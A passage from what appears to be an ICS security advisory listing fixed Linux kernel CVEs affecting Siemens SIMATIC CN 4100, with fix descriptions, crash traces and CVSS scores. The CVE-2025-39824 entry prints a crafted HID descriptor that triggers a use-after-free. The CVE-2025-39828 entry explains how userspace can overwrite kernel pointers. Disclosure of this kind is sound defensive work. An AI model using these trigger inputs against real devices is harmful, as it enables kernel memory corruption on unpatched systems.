device_add+0xe3a/0x1670 [ 13.673297] hid_add_device+0x31d/0xa40 [...]\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39808\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: HID: hid-ntrig: fix unable to handle page fault in ntrig_report_version() in ntrig_report_version(), hdev parameter passed from hid_probe(). sending descriptor to /dev/uhid can make hdev->dev.parent->parent to null if hdev->dev.parent->parent is null, usb_dev has invalid address(0xffffffffffffff58) that hid_to_usb_dev(hdev) returned when usb_rcvctrlpipe() use usb_dev,it trigger page fault error for address(0xffffffffffffff58) add null check logic to ntrig_report_version() before calling hid_to_usb_dev()\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39812\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: sctp: initialize more fields in sctp_v6_from_sk() syzbot found that sin6_scope_id was not properly initialized, leading to undefined behavior. Clear sin6_scope_id and sin6_flowinfo. BUG: KMSAN: uninit-value in __sctp_v6_cmp_addr+0x887/0x8c0 net/sctp/ipv6.c:649 __sctp_v6_cmp_addr+0x887/0x8c0 net/sctp/ipv6.c:649 sctp_inet6_cmp_addr+0x4f2/0x510 net/sctp/ipv6.c:983 sctp_bind_addr_conflict+0x22a/0x3b0 net/sctp/bind_addr.c:390 sctp_get_port_local+0x21eb/0x2440 net/sctp/socket.c:8452 sctp_get_port net/sctp/socket.c:8523 [inline] sctp_listen_start net/sctp/socket.c:8567 [inline] sctp_inet_listen+0x710/0xfd0 net/sctp/socket.c:8636 __sys_listen_socket net/socket.c:1912 [inline] __sys_listen net/socket.c:1927 [inline] __do_sys_listen net/socket.c:1932 [inline] __se_sys_listen net/socket.c:1930 [inline] __x64_sys_listen+0x343/0x4c0 net/socket.c:1930 x64_sys_call+0x271d/0x3e20 arch/x86/include/generated/asm/syscalls_64.h:51 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline] do_syscall_64+0xd9/0x210 arch/x86/entry/syscall_64.c:94 entry_SYSCALL_64_after_hwframe+0x77/0x7f Local variable addr.i.i created at: sctp_get_port net/sctp/socket.c:8515 [inline] sctp_listen_start net/sctp/socket.c:8567 [inline] sctp_inet_listen+0x650/0xfd0 net/sctp/socket.c:8636 __sys_listen_socket net/socket.c:1912 [inline] __sys_listen net/socket.c:1927 [inline] __do_sys_listen net/socket.c:1932 [inline] __se_sys_listen net/socket.c:1930 [inline] __x64_sys_listen+0x343/0x4c0 net/socket.c:1930\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39813\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: ftrace: Fix potential warning in trace_printk_seq during ftrace_dump When calling ftrace_dump_one() concurrently with reading trace_pipe, a WARN_ON_ONCE() in trace_printk_seq() can be triggered due to a race condition. The issue occurs because: CPU0 (ftrace_dump) CPU1 (reader) echo z > /proc/sysrq-trigger !trace_empty(&iter) trace_iterator_reset(&iter) <- len = size = 0 cat /sys/kernel/tracing/trace_pipe trace_find_next_entry_inc(&iter) __find_next_entry ring_buffer_empty_cpu <- all empty return NULL trace_printk_seq(&iter.seq) WARN_ON_ONCE(s->seq.len >= s->seq.size) In the context between trace_empty() and trace_find_next_entry_inc() during ftrace_dump, the ring buffer data was consumed by other readers. This caused trace_find_next_entry_inc to return NULL, failing to populate `iter.seq`. At this point, due to the prior trace_iterator_reset, both `iter.seq.len` and `iter.seq.size` were set to 0. Since they are equal, the WARN_ON_ONCE condition is triggered. Move the trace_printk_seq() into the if block that checks to make sure the return value of trace_find_next_entry_inc() is non-NULL in ftrace_dump_one(), ensuring the 'iter.seq' is properly populated before subsequent operations.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39817\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: efivarfs: Fix slab-out-of-bounds in efivarfs_d_compare Observed on kernel 6.6 (present on master as well): BUG: KASAN: slab-out-of-bounds in memcmp+0x98/0xd0 Call trace: kasan_check_range+0xe8/0x190 __asan_loadN+0x1c/0x28 memcmp+0x98/0xd0 efivarfs_d_compare+0x68/0xd8 __d_lookup_rcu_op_compare+0x178/0x218 __d_lookup_rcu+0x1f8/0x228 d_alloc_parallel+0x150/0x648 lookup_open.isra.0+0x5f0/0x8d0 open_last_lookups+0x264/0x828 path_openat+0x130/0x3f8 do_filp_open+0x114/0x248 do_sys_openat2+0x340/0x3c0 __arm64_sys_openat+0x120/0x1a0 If dentry->d_name.len < EFI_VARIABLE_GUID_LEN , 'guid' can become negative, leadings to oob. The issue can be triggered by parallel lookups using invalid filename: T1 T2 lookup_open ->lookup simple_lookup d_add // invalid dentry is added to hash list lookup_open d_alloc_parallel __d_lookup_rcu __d_lookup_rcu_op_compare hlist_bl_for_each_entry_rcu // invalid dentry can be retrieved ->d_compare efivarfs_d_compare // oob Fix it by checking 'guid' before cmp.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39819\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: fs/smb: Fix inconsistent refcnt update A possible inconsistent update of refcount was identified in `smb2_compound_op`. Such inconsistent update could lead to possible resource leaks. Why it is a possible bug: 1. In the comment section of the function, it clearly states that the reference to `cfile` should be dropped after calling this function. 2. Every control flow path would check and drop the reference to `cfile`, except the patched one. 3. Existing callers would not handle refcount update of `cfile` if -ENOMEM is returned. To fix the bug, an extra goto label \"out\" is added, to make sure that the cleanup logic would always be respected. As the problem is caused by the allocation failure of `vars`, the cleanup logic between label \"finished\" and \"out\" can be safely ignored. According to the definition of function `is_replayable_error`, the error code of \"-ENOMEM\" is not recoverable. Therefore, the replay logic also gets ignored.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39823\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: KVM: x86: use array_index_nospec with indices that come from guest min and dest_id are guest-controlled indices. Using array_index_nospec() after the bounds checks clamps these values to mitigate speculative execution side-channels.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39824\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: HID: asus: fix UAF via HID_CLAIMED_INPUT validation After hid_hw_start() is called hidinput_connect() will eventually be called to set up the device with the input layer since the HID_CONNECT_DEFAULT connect mask is used. During hidinput_connect() all input and output reports are processed and corresponding hid_inputs are allocated and configured via hidinput_configure_usages(). This process involves slot tagging report fields and configuring usages by setting relevant bits in the capability bitmaps. However it is possible that the capability bitmaps are not set at all leading to the subsequent hidinput_has_been_populated() check to fail leading to the freeing of the hid_input and the underlying input device. This becomes problematic because a malicious HID device like a ASUS ROG N-Key keyboard can trigger the above scenario via a specially crafted descriptor which then leads to a user-after-free when the name of the freed input device is written to later on after hid_hw_start(). Below, report 93 intentionally utilises the HID_UP_UNDEFINED Usage Page which is skipped during usage configuration, leading to the frees. 0x05, 0x0D, // Usage Page (Digitizer) 0x09, 0x05, // Usage (Touch Pad) 0xA1, 0x01, // Collection (Application) 0x85, 0x0D, // Report ID (13) 0x06, 0x00, 0xFF, // Usage Page (Vendor Defined 0xFF00) 0x09, 0xC5, // Usage (0xC5) 0x15, 0x00, // Logical Minimum (0) 0x26, 0xFF, 0x00, // Logical Maximum (255) 0x75, 0x08, // Report Size (8) 0x95, 0x04, // Report Count (4) 0xB1, 0x02, // Feature (Data,Var,Abs) 0x85, 0x5D, // Report ID (93) 0x06, 0x00, 0x00, // Usage Page (Undefined) 0x09, 0x01, // Usage (0x01) 0x15, 0x00, // Logical Minimum (0) 0x26, 0xFF, 0x00, // Logical Maximum (255) 0x75, 0x08, // Report Size (8) 0x95, 0x1B, // Report Count (27) 0x81, 0x02, // Input (Data,Var,Abs) 0xC0, // End Collection Below is the KASAN splat after triggering the UAF: [ 21.672709] ================================================================== [ 21.673700] BUG: KASAN: slab-use-after-free in asus_probe+0xeeb/0xf80 [ 21.673700] Write of size 8 at addr ffff88810a0ac000 by task kworker/1:2/54 [ 21.673700] [ 21.673700] CPU: 1 UID: 0 PID: 54 Comm: kworker/1:2 Not tainted 6.16.0-rc4-g9773391cf4dd-dirty #36 PREEMPT(voluntary) [ 21.673700] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.2-debian-1.16.2-1 04/01/2014 [ 21.673700] Call Trace: [ 21.673700] [ 21.673700] dump_stack_lvl+0x5f/0x80 [ 21.673700] print_report+0xd1/0x660 [ 21.673700] kasan_report+0xe5/0x120 [ 21.673700] __asan_report_store8_noabort+0x1b/0x30 [ 21.673700] asus_probe+0xeeb/0xf80 [ 21.673700] hid_device_probe+0x2ee/0x700 [ 21.673700] really_probe+0x1c6/0x6b0 [ 21.673700] __driver_probe_device+0x24f/0x310 [ 21.673700] driver_probe_device+0x4e/0x220 [...] [ 21.673700] [ 21.673700] Allocated by task 54: [ 21.673700] kasan_save_stack+0x3d/0x60 [ 21.673700] kasan_save_track+0x18/0x40 [ 21.673700] kasan_save_alloc_info+0x3b/0x50 [ 21.673700] __kasan_kmalloc+0x9c/0xa0 [ 21.673700] __kmalloc_cache_noprof+0x139/0x340 [ 21.673700] input_allocate_device+0x44/0x370 [ 21.673700] hidinput_connect+0xcb6/0x2630 [ 21.673700] hid_connect+0xf74/0x1d60 [ 21.673700] hid_hw_start+0x8c/0x110 [ 21.673700] asus_probe+0x5a3/0xf80 [ 21.673700] hid_device_probe+0x2ee/0x700 [ 21.673700] really_probe+0x1c6/0x6b0 [ 21.673700] __driver_probe_device+0x24f/0x310 [ 21.673700] driver_probe_device+0x4e/0x220 [...] [ 21.673700] [ 21.673700] Freed by task 54: [ 21.673700] kasan_save_stack+0x3d/0x60 [ 21.673700] kasan_save_track+0x18/0x40 [ 21.673700] kasan_save_free_info+0x3f/0x60 [ 21.673700] __kasan_slab_free+0x3c/0x50 [ 21.673700] kfre ---truncated---\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39825\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: smb: client: fix race with concurrent opens in rename(2) Besides sending the rename request to the server, the rename process also involves closing any deferred close, waiting for outstanding I/O to complete as well as marking all existing open handles as deleted to prevent them from deferring closes, which increases the race window for potential concurrent opens on the target file. Fix this by unhashing the dentry in advance to prevent any concurrent opens on the target.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39826\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: net: rose: convert 'use' field to refcount_t The 'use' field in struct rose_neigh is used as a reference counter but lacks atomicity. This can lead to race conditions where a rose_neigh structure is freed while still being referenced by other code paths. For example, when rose_neigh->use becomes zero during an ioctl operation via rose_rt_ioctl(), the structure may be removed while its timer is still active, potentially causing use-after-free issues. This patch changes the type of 'use' from unsigned short to refcount_t and updates all code paths to use rose_neigh_hold() and rose_neigh_put() which operate reference counts atomically.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39827\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: net: rose: include node references in rose_neigh refcount Current implementation maintains two separate reference counting mechanisms: the 'count' field in struct rose_neigh tracks references from rose_node structures, while the 'use' field (now refcount_t) tracks references from rose_sock. This patch merges these two reference counting systems using 'use' field for proper reference management. Specifically, this patch adds incrementing and decrementing of rose_neigh->use when rose_neigh->count is incremented or decremented. This patch also modifies rose_rt_free(), rose_rt_device_down() and rose_clear_route() to properly release references to rose_neigh objects before freeing a rose_node through rose_remove_node(). These changes ensure rose_neigh structures are properly freed only when all references, including those from rose_node structures, are released. As a result, this resolves a slab-use-after-free issue reported by Syzbot.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39828\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: atm: atmtcp: Prevent arbitrary write in atmtcp_recv_control(). syzbot reported the splat below. [0] When atmtcp_v_open() or atmtcp_v_close() is called via connect() or close(), atmtcp_send_control() is called to send an in-kernel special message. The message has ATMTCP_HDR_MAGIC in atmtcp_control.hdr.length. Also, a pointer of struct atm_vcc is set to atmtcp_control.vcc. The notable thing is struct atmtcp_control is uAPI but has a space for an in-kernel pointer. struct atmtcp_control { struct atmtcp_hdr hdr; /* must be first */ ... atm_kptr_t vcc; /* both directions */ ... } __ATM_API_ALIGN; typedef struct { unsigned char _[8]; } __ATM_API_ALIGN atm_kptr_t; The special message is processed in atmtcp_recv_control() called from atmtcp_c_send(). atmtcp_c_send() is vcc->dev->ops->send() and called from 2 paths: 1. .ndo_start_xmit() (vcc->send() == atm_send_aal0()) 2. vcc_sendmsg() The problem is sendmsg() does not validate the message length and userspace can abuse atmtcp_recv_control() to overwrite any kptr by atmtcp_control. Let's add a new ->pre_send() hook to validate messages from sendmsg(). [0]: Oops: general protection fault, probably for non-canonical address 0xdffffc00200000ab: 0000 [#1] SMP KASAN PTI KASAN: probably user-memory-access in range [0x0000000100000558-0x000000010000055f] CPU: 0 UID: 0 PID: 5865 Comm: syz-executor331 Not tainted 6.17.0-rc1-syzkaller-00215-gbab3ce404553 #0 PREEMPT(full) Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 07/12/2025 RIP: 0010:atmtcp_recv_control drivers/atm/atmtcp.c:93 [inline] RIP: 0010:atmtcp_c_send+0x1da/0x950 drivers/atm/atmtcp.c:297 Code: 4d 8d 75 1a 4c 89 f0 48 c1 e8 03 42 0f b6 04 20 84 c0 0f 85 15 06 00 00 41 0f b7 1e 4d 8d b7 60 05 00 00 4c 89 f0 48 c1 e8 03 <42> 0f b6 04 20 84 c0 0f 85 13 06 00 00 66 41 89 1e 4d 8d 75 1c 4c RSP: 0018:ffffc90003f5f810 EFLAGS: 00010203 RAX: 00000000200000ab RBX: 0000000000000000 RCX: 0000000000000000 RDX: ffff88802a510000 RSI: 00000000ffffffff RDI: ffff888030a6068c RBP: ffff88802699fb40 R08: ffff888030a606eb R09: 1ffff1100614c0dd R10: dffffc0000000000 R11: ffffffff8718fc40 R12: dffffc0000000000 R13: ffff888030a60680 R14: 000000010000055f R15: 00000000ffffffff FS: 00007f8d7e9236c0(0000) GS:ffff888125c1c000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 000000000045ad50 CR3: 0000000075bde000 CR4: 00000000003526f0 Call Trace: vcc_sendmsg+0xa10/0xc60 net/atm/common.c:645 sock_sendmsg_nosec net/socket.c:714 [inline] __sock_sendmsg+0x219/0x270 net/socket.c:729 ____sys_sendmsg+0x505/0x830 net/socket.c:2614 ___sys_sendmsg+0x21f/0x2a0 net/socket.c:2668 __sys_sendmsg net/socket.c:2700 [inline] __do_sys_sendmsg net/socket.c:2705 [inline] __se_sys_sendmsg net/socket.c:2703 [inline] __x64_sys_sendmsg+0x19b/0x260 net/socket.c:2703 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline] do_syscall_64+0xfa/0x3b0 arch/x86/entry/syscall_64.c:94 entry_SYSCALL_64_after_hwframe+0x77/0x7f RIP: 0033:0x7f8d7e96a4a9 Code: 28 00 00 00 75 05 48 83 c4 28 c3 e8 51 18 00 00 90 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 b0 ff ff ff f7 d8 64 89 01 48 RSP: 002b:00007f8d7e923198 EFLAGS: 00000246 ORIG_RAX: 000000000000002e RAX: ffffffffffffffda RBX: 00007f8d7e9f4308 RCX: 00007f8d7e96a4a9 RDX: 0000000000000000 RSI: 0000200000000240 RDI: 0000000000000005 RBP: 00007f8d7e9f4300 R08: 65732f636f72702f R09: 65732f636f72702f R10: 65732f636f72702f R11: 0000000000000246 R12: 00007f8d7e9c10ac R13: 00007f8d7e9231a0 R14: 0000200000000200 R15: 0000200000000250 Modules linked in:\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39835\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: xfs: do not propagate ENODATA disk errors into xattr code ENODATA (aka ENOATTR) has a very specific meaning in the xfs xattr code; namely, that the requested attribute name could not be found. However, a medium error from disk may also return ENODATA. At best, this medium error may escape to userspace as \"attribute not found\" when in fact it's an IO (disk) error. At worst, we may oops in xfs_attr_leaf_get() when we do: error = xfs_attr_leaf_hasname(args, &bp); if (error == -ENOATTR) { xfs_trans_brelse(args->trans, bp); return error; } because an ENODATA/ENOATTR error from disk leaves us with a null bp, and the xfs_trans_brelse will then null-deref it. As discussed on the list, we really need to modify the lower level IO functions to trap all disk errors and ensure that we don't let unique errors like this leak up into higher xfs functions - many like this should be remapped to EIO. However, this patch directly addresses a reported bug in the xattr code, and should be safe to backport to stable kernels. A larger-scope patch to handle more unique errors at lower levels can follow later. (Note, prior to 07120f1abdff we did not oops, but we did return the wrong error code to userspace.)\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39838\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: cifs: prevent NULL pointer dereference in UTF16 conversion There can be a NULL pointer dereference bug here. NULL is passed to __cifs_sfu_make_node without checks, which passes it unchecked to cifs_strndup_to_utf16, which in turn passes it to cifs_local_to_utf16_bytes where '*from' is dereferenced, causing a crash. This patch adds a check for NULL 'src' in cifs_strndup_to_utf16 and returns NULL early to prevent dereferencing NULL pointer. Found by Linux Verification Center (linuxtesting.org) with SVACE\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39839\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: batman-adv: fix OOB read/write in network-coding decode batadv_nc_skb_decode_packet() trusts coded_len and checks only against skb->len. XOR starts at sizeof(struct batadv_unicast_packet), reducing payload headroom, and the source skb length is not verified, allowing an out-of-bounds read and a small out-of-bounds write. Validate that coded_len fits within the payload area of both destination and source sk_buffs before XORing.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 